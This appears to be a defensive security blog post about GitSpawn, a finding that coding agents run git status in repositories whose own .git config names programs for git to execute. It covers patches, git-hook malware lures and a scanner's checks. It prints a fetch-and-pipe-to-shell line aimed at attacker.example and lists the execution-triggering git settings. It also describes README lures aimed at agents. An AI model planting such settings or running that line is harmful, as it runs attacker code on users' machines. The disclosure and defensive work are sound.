GitSpawn: git status runs whatever a repository's own .git config names
Manifold's GitSpawn showed seven coding agents running git status on their own while git ran a program the repository named. What the attack is, who patched, the North Korean git-hook lure already in the wild, and what DepWall now checks before git runs.
Every coding agent runs git status. It is how an agent learns which branch it
is on and what has changed, and it feels like the most harmless command there is: it reads.
In a repository that arrived as a folder rather than a clone, it does not only read.
On 1 September 2026 Manifold Security published
GitSpawn. Claude
Code, Codex, Cursor, goose, Grok Build, Hermes Agent and Qwen Code each ran git on their own
to gather context, and git ran whatever the repository's core.fsmonitor setting
named — as the user, outside the agent's sandbox, with no approval prompt. Eight findings
across seven agents; four were unpatched on the day it was published.
The repository brings its own settings#
Git reads configuration from several places, and one of them is the repository's own
.git/config. Only three keys are off-limits to it: safe.directory,
safe.bareRepository and uploadpack.packObjectsHook, which git-config(1)
calls "protected configuration". A repository can set everything else for itself, including
settings whose value is a program for git to run.
core.fsmonitor is one of them. It names a helper git asks "which files
changed?", and git asks it whenever it refreshes the index — which git status
does:
[core]
fsmonitor = "curl -s https://attacker.example/p | sh"
A git clone never copies .git/config or .git/hooks, so a
cloned repository cannot do this. A repository that arrives with its .git folder
intact can: a zip file, a shared drive, a sync folder, a USB stick, a take-home
assignment.
It is not one setting#
We rebuilt the attack surface on git 2.50.1 with a harmless marker script in place of a payload. Each of these ran it:
git statusrancore.fsmonitor; afilter.<name>.cleandriver, for any file whose timestamps had changed — which is every file in an unpacked archive; and apost-index-changehook.git statusin a parent repository ran thecore.fsmonitorfrom a submodule's own config — including a nested repository that only the index recorded, with no.gitmodulesat all.git diff,git log -pandgit showrundiff.<name>.textconvanddiff.external.--no-ext-diffdoes not stop textconv.- Any ref update — a fetch, a commit, a new branch — runs a
reference-transactionhook. include.pathpulls in another file, so the dangerous key does not have to be in.git/configat all. A check that reads only that one file misses it.
One piece of widely repeated advice does not work. Setting core.fsmonitor=false
in your global config changes nothing: the repository's config is read after yours, and it
wins. We checked — the marker ran. Passing git -c core.fsmonitor=false on the
command line does work, for that one key. There is no flag that turns off a clean filter whose
name the repository chose.
Who patched what#
| Agent | Status |
|---|---|
| Codex | Fixed in CLI 0.131.0 as CVE-2026-19592 (core.fsmonitor). The
desktop app also got CVE-2026-19590 (core.hooksPath) and CVE-2026-19593
(attr.tree plus a filter). |
| goose | Fixed in 1.44.0, CVE-2026-72718. |
| Cursor | Patched, per Manifold. No version or advisory is public. |
| Claude Code | The startup git status path was fixed by 2.1.196.
Manifold reported a second path, through claude ultrareview and a setting it has
not named, still open on 2.1.252 on 1 September. No Anthropic advisory covers
either. |
| Hermes Agent | Fixed after disclosure, in 0.21.1 (7 September), CVE-2026-71963. |
| Qwen Code | A targeted fix in 0.23.4 (14 September) — partial, by its own pull request's description. |
| Grok Build | Vulnerable on 1.0.13 on 1 September. No release notes or advisory since. |
Every fix we could read has the same shape: the agent adds -c overrides to the
git commands it runs. goose passes -c safe.bareRepository=explicit -c
core.fsmonitor=false; Codex forces core.fsmonitor=false unless the value is
git's own built-in daemon. That closes the agent's internal calls. It does not change what git
does when something else runs it in the same folder — your shell prompt, your editor, a
Makefile, or the agent's own shell tool running git status because a README said
to.
Attackers already ship repositories this way#
GitSpawn itself has no reported exploitation. Its delivery route does. In May,
OpenSourceMalware
documented the North Korea-linked "Contagious Interview" fake-recruiter campaign moving its
loader into .githooks/pre-commit and post-checkout scripts, switched on
with git config core.hooksPath .githooks — because, they wrote, VS Code had started
closing the tasks.json auto-run route. Two targeted developers described the other
shape: the whole repository shared as a Google Drive archive, with a live
.git/hooks/post-checkout (Andrii
Romasiun, 10 May) or pre-commit
(CITIZENDOT,
23 July), and instructions to check out a branch or commit a fix.
Jamf
tied both to the same operators on 3 September.
Package malware uses the same trick for persistence. Socket found the SANDWORM_MODE npm worm (February) pointing git's global template directory at its own hooks and planting them in up to 50 existing repositories on the machine.
The lure's instructions are the part that matters for agents. "Check out the
dev branch, fix the failing test and commit" is exactly the kind of README step a
coding agent follows without a second thought. None of these write-ups report an agent being
caught this way. Nothing about the lure would stop it working on one.
What DepWall checks now#
DepWall's git shim used to have one job: ask before cloning from a host it does not recognise. Every other git command went straight through. Now, before any git command runs, it reads the repository git is about to use:
- found the way git finds it — walking up from the current directory,
honouring
-C,--git-dir,GIT_DIR,.gitfiles, linked worktrees and bare repositories; - parsed the way git parses it — a key on the same line as
[core], the legacy[filter.X]form and backslash continuations all read as git reads them, checked case by case against git's own parser; - followed through
include.path, intoconfig.worktree, down into every submodule and index gitlink thatgit statuswould enter, and — on push — into a local folder used as a remote, whose receive hooks run on your machine.
It asks when a setting the command about to run would execute names a program —
core.fsmonitor on status, a diff driver on diff, an ssh command on fetch and push,
and the rest of git's list — when a post-index-change or
reference-transaction hook exists, and when a hook the command fires fetches or
decodes code. In Claude Code, the agent gets this back instead of a result:
DepWall blocked this command:
git → ASK
[warn] source-provenance: .git/config sets core.fsmonitor = "curl -s
https://attacker.example/p | sh" — git runs it on status, diff and add; a
repository that arrives with its .git folder brings this setting along —
human review required
Before opening a folder someone sent you, depwall scan ./the-folder runs the
same check, on that folder and every repository inside it, without running git at all.
What it cost, measured#
A gate on every git command is only tolerable if it is silent on your own repositories. We ran the check across all 169 repositories on one developer's machine. The first version asked in 71 of them.
Every one of those was a commit-time hook the developer had written: a
commit-msg hook that rewrites the message, a pre-push that runs the
tests. Hand-written hooks are normal, and a gate that stops your own commits gets uninstalled
the same afternoon. So hooks fired by commit, checkout, merge and push are now flagged only when
their text fetches or decodes something to run — which is what the documented lures do, and
what none of the 99 real hook files on that machine did.
A false-positive review then found setups that one machine did not have. Rails 7.1 sets
new apps up with a credentials diff driver, bin/rails credentials:diff, kept in
the repository's own git config; pass, git-annex, Watchman on Linux and Unity's
merge tool do similar things. The first version asked about each of them on
every command — git --version included, and the hardened
git -c core.fsmonitor=false status calls agents now make internally. Two changes
fixed that: a setting only counts for the commands that can run it, and the command's own
-c wins, as it does in git.
Some of those settings run code from the repository itself. bin/rails in your
own app and bin/rails in a stranger's archive are the same bytes, so no rule can
tell them apart. For those, depwall trust-git records that you looked — once,
pinned to the exact value, and it asks again if the value changes. It only runs in an
interactive terminal, and the Claude Code hook refuses it: a README telling your agent to trust
a repository is the attack it exists to stop.
After all of that: nine command shapes against each of the 169 repositories — 1,521 calls —
and a depwall scan of every one, with zero asks. A check costs a few
milliseconds, less than the git status it sits in front of.
What review found first#
Before this shipped, four reviewers attacked it: one each for bypasses, correctness against git itself, false positives and robustness, with every claim checked against real git and a harmless payload. They found real holes:
- A decoy
.git. A folder whoseHEADis empty, one level below the real repository. Git rejects the decoy and walks up to the poisoned one; the first version stopped at the decoy and read nothing. Discovery now makes the same checks git makes, and scans every.gitit passes. - A hooks folder next door.
core.hooksPath = ../hookspoints at a sibling folder in the same zip. The first version treated anything outside the repository as the user's own. - A config git ignores. Three
includeIflines that include the config itself, with conditions that never match. Git skips them and runs normally. The first version followed all of them and was still reading minutes later — and a Claude Code hook that times out lets the command through. Includes are now bounded. cd repo && git status. The agent-side check read the directory the agent started in. It now followscd,pushd,env -Cand the working directory Claude Code reports.
Four more rounds then ran thousands of command-and-setting pairs against real git and found
fifteen more. Among them: git blame, git fsck,
git diff-tree and the automatic garbage collection that git fetch
starts all run core.fsmonitor; git log --remerge-diff re-does every
merge, merge drivers included; and a hook that is just a link to /bin/sh runs
whichever repository file git names in its arguments.
The last round found the subtlest one. A partial clone — the
--filter=blob:none kind — fetches an object the moment something reads it, and
that fetch runs the transport command the repository names. Ship the repository with one
object missing and plain git status runs it: no network, no fetch
typed, on a setting no read command was thought to touch. The same round found a repository
that lists itself as the remote it pushes to, so its receive hooks run on a plain
git push while DepWall was reading it as the repository it already knew.
Two of that round's findings were not bypasses but stopwatches: a config
of sixty thousand made-up paths, and a hooks folder of thirty thousand files shared by
hundreds of submodules, each took one git status from milliseconds to seconds.
A slow gate is a fail-open gate — the hook times out and the command runs anyway. Both are
now bounded, and the second turned out to be work that never needed doing: git finds a hook
by name, so DepWall looks up the two dozen names instead of reading the folder.
Each of those is a regression test now, and none of them made the gate noisier: the same 169 repositories, the same nine commands each, still zero questions.
What it does not catch#
- A commit-time hook that runs a payload already inside the repository, without fetching or decoding anything. That is the price of not stopping your own commits.
- git run by its full path (
/usr/bin/git), or by an app that never loaded your shell'sPATH. The shim is not in the way of those. In Claude Code, the hook still sees every git command the agent's shell tool runs. - Command shapes the Claude Code hook reads differently than a shell does.
It reads a command by words, so a quoted folder with a space in it, a
cdinside a subshell, or git inside$( … )can send it to the wrong folder. The shim, which the same installer sets up, runs in git's real directory and still asks — the two layers cover each other, and only git by absolute path in such a command gets past both. - Settings passed on the command line —
git -c,GIT_CONFIG_*. Those are the command's own instructions, not something a repository carries. - Trust someone else typed.
depwall trust-gitrefuses to run outside a terminal, but an agent with a shell can fake one. It records what a person was shown; it cannot prove a person typed it. - Anything above ASK. This reads settings; it does not run them. ASK still stops git — the shim and the Claude Code hook both refuse to continue — but it does not claim to know a setting is malicious.
If someone sends you a repository#
- Treat the folder as code, not data. Opening it in an agent, in an editor with git integration, or in a shell whose prompt shows the git branch can run git in it.
- Prefer a fresh clone of the same source over the
.gitfolder that came with the archive. A clone brings the history without anybody's settings or hooks. - Read
.git/configand.git/hooks/withcatandls, not with git. Most git commands read that config before they do anything else. - Keep git and your agent current. git 2.50.1 and the matching point releases fixed CVE-2025-48384, a submodule bug that let a plain recursive clone plant a hook; CISA listed it as exploited in August 2025.